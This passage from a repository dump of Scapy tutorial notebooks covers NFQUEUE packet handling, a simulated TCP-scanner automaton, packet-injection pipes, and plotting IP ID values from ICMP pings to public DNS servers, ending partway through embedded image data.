len(p))\\n\",\n    \"        \\n\",\n    \"      else:\\n\",\n    \"        # Accept all packets\\n\",\n    \"        payload.set_verdict(nfqueue.NF_ACCEPT)\\n\",\n    \"\\n\",\n    \"    # Get an NFQUEUE handler\\n\",\n    \"    q = nfqueue.queue()\\n\",\n    \"    # Set the function that will be call on each received packet\\n\",\n    \"    q.set_callback(scapy_cb)\\n\",\n    \"    # Open the queue & start parsing packes\\n\",\n    \"    q.fast_open(2807, socket.AF_INET)\\n\",\n    \"    q.try_run()\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"# Automaton\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"When more logic is needed, Scapy provides a clever way abstraction to define an automaton. In a nutshell, you need to define an object that inherits from `Automaton`, and implement specific methods:\\n\",\n    \"- states: using the `@ATMT.state` decorator. They usually do nothing\\n\",\n    \"- conditions: using the `@ATMT.condition` and `@ATMT.receive_condition` decorators. They describe how to go from one state to another\\n\",\n    \"- actions: using the `ATMT.action` decorator. They describe what to do, like sending a back, when changing state\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"The following example does nothing more than trying to mimic a TCP scanner:\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 6,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"-> SYN\\n\",\n      \"<- SYN/ACK\\n\"\n     ]\n    }\n   ],\n   \"source\": [\n    \"class TCPScanner(Automaton):\\n\",\n    \"\\n\",\n    \"    @ATMT.state(initial=1)\\n\",\n    \"    def BEGIN(self):\\n\",\n    \"        pass\\n\",\n    \"\\n\",\n    \"    @ATMT.state()\\n\",\n    \"    def SYN(self):\\n\",\n    \"        print(\\\"-> SYN\\\")\\n\",\n    \"\\n\",\n    \"    @ATMT.state()\\n\",\n    \"    def SYN_ACK(self):\\n\",\n    \"        print(\\\"<- SYN/ACK\\\")\\n\",\n    \"        raise self.END()\\n\",\n    \"\\n\",\n    \"    @ATMT.state()\\n\",\n    \"    def RST(self):\\n\",\n    \"        print(\\\"<- RST\\\")\\n\",\n    \"        raise self.END()\\n\",\n    \"\\n\",\n    \"    @ATMT.state()\\n\",\n    \"    def ERROR(self):\\n\",\n    \"        print(\\\"!! ERROR\\\")\\n\",\n    \"        raise self.END()\\n\",\n    \"    @ATMT.state(final=1)\\n\",\n    \"    def END(self):\\n\",\n    \"        pass\\n\",\n    \"    \\n\",\n    \"    @ATMT.condition(BEGIN)\\n\",\n    \"    def condition_BEGIN(self):\\n\",\n    \"        raise self.SYN()\\n\",\n    \"\\n\",\n    \"    @ATMT.condition(SYN)\\n\",\n    \"    def condition_SYN(self):\\n\",\n    \"\\n\",\n    \"        if random.randint(0, 1):\\n\",\n    \"            raise self.SYN_ACK()\\n\",\n    \"        else:\\n\",\n    \"            raise self.RST()\\n\",\n    \"\\n\",\n    \"    @ATMT.timeout(SYN, 1)\\n\",\n    \"    def timeout_SYN(self):\\n\",\n    \"        raise self.ERROR()\\n\",\n    \"\\n\",\n    \"TCPScanner().run()\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 7,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"-> SYN\\n\",\n      \"<- RST\\n\"\n     ]\n    }\n   ],\n   \"source\": [\n    \"TCPScanner().run()\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"# Pipes\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"Pipes are an advanced Scapy feature that aims sniffing, modifying and printing packets. The API provides several buildings blocks. All of them, have high entries and exits (>>) as well as low (>) ones.\\n\",\n    \"\\n\",\n    \"For example, the `CliFeeder` is used to send message from the Python command line to a low exit. It can be combined to the `InjectSink` that reads message on its low entry and inject them to the specified network interface. These blocks can be combined as follows:\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {},\n   \"outputs\": [],\n   \"source\": [\n    \"# Instantiate the blocks\\n\",\n    \"clf = CLIFeeder()\\n\",\n    \"ijs = InjectSink(\\\"enx3495db043a28\\\")\\n\",\n    \"\\n\",\n    \"# Plug blocks together\\n\",\n    \"clf > ijs\\n\",\n    \"\\n\",\n    \"# Create and start the engine\\n\",\n    \"pe = PipeEngine(clf)\\n\",\n    \"pe.start()\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"Packet can be sent using the following command on the prompt:\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {},\n   \"outputs\": [],\n   \"source\": [\n    \"clf.send(\\\"Hello Scapy !\\\")\"\n   ]\n  }\n ],\n \"metadata\": {\n  \"kernelspec\": {\n   \"display_name\": \"Python 2\",\n   \"language\": \"python\",\n   \"name\": \"python2\"\n  },\n  \"language_info\": {\n   \"codemirror_mode\": {\n    \"name\": \"ipython\",\n    \"version\": 2\n   },\n   \"file_extension\": \".py\",\n   \"mimetype\": \"text/x-python\",\n   \"name\": \"python\",\n   \"nbconvert_exporter\": \"python\",\n   \"pygments_lexer\": \"ipython2\",\n   \"version\": \"2.7.12\"\n  }\n },\n \"nbformat\": 4,\n \"nbformat_minor\": 1\n}\n"
  },
  {
    "path": "doc/notebooks/graphs-ipids.ipynb",
    "content": "{\n \"metadata\": {\n  \"name\": \"\"\n },\n \"nbformat\": 3,\n \"nbformat_minor\": 0,\n \"worksheets\": [\n  {\n   \"cells\": [\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"from scapy.all import *\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stderr\",\n       \"text\": [\n        \"WARNING: No route found for IPv6 destination :: (no default route?)\\n\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stderr\",\n       \"text\": [\n        \"WARNING:scapy.runtime:No route found for IPv6 destination :: (no default route?)\\n\"\n       ]\n      }\n     ],\n     \"prompt_number\": 1\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"ans, unans = srloop(IP(dst=[\\\"8.8.8.8\\\", \\\"8.8.4.4\\\"])/ICMP(), inter=.1, timeout=.1, count=100, verbose=False)\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\r\",\n        \"send...\\r\",\n        \"\\r\",\n        \"send...\\r\"\n       ]\n      }\n     ],\n     \"prompt_number\": 5\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"%matplotlib inline\\n\",\n      \"ans.multiplot(lambda p, q: (q[IP].src, (q.time, q[IP].id)), plot_xy=True)\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"metadata\": {},\n       \"output_type\": \"display_data\",\n       \"png\": \"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